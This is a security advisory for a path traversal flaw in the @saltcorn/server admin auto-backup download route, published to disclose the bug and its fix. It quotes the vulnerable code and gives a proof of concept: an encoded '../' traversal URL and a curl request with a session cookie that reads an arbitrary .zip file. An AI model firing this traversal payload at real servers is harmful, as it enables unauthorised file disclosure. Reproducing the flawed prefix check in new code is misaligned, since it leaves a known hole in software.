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GHSA-277h-px4m-62q8 json

@saltcorn/server arbitrary file zip read and download when downloading auto backups

published 2y ago modified 2y ago

cvss
4.4
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
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no score, EPSS covers CVEs only
public exploits
0
none known

Summary

### Summary

A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to `res.download` API.

### Details

- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682

```js router.get( "/auto-backup-download/:filename", isAdmin, error_catcher(async (req, res) => { const { filename } = req.params; // [1] source [...] if ( !isRoot || !(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2] ) { res.redirect("/admin/backup"); return; } const auto_backup_directory = getState().getConfig("auto_backup_directory"); res.download(path.join(auto_backup_directory, filename), filename); // [3] sink }) ); ```

### Steps to reproduce (PoC)

- create a file with `.zip` extension under `/tmp` folder: ``` echo "secret12345" > /tmp/secret.zip ``` - log into the application as an admin user - visit the url `http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip` - download the zip file and then check if the zip was indeed downloaded: ```bash cat secret.zip secret12345 ```

- Alternatively send the following request to retrieve the file just created. ```bash curl -i -X $'GET' \ -H $'Host: localhost:3000' \ -H $'Connection: close' \ -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \ $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip' ```

**NOTE**: To obtain a valid `connect.sid` cookie, just open the developer console while logged and retrieve the cookie value.

### Impact

Arbitrary zip files download (information disclosure).

### Recommended Mitigation

Resolve the `filename` parameter before checking if it starts with `backup_file_prefix` .

Patch / fix

  • npm @saltcorn/server 1.0.0-beta.14

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CVSS scores

assigned by version score vector
GitHub 3.1 4.4 CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

Affected packages

ecosystem package affected fixed in
npm @saltcorn/server
<1.0.0-beta.14
1.0.0-beta.14

Classification

Weakness
  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory

References

Sources

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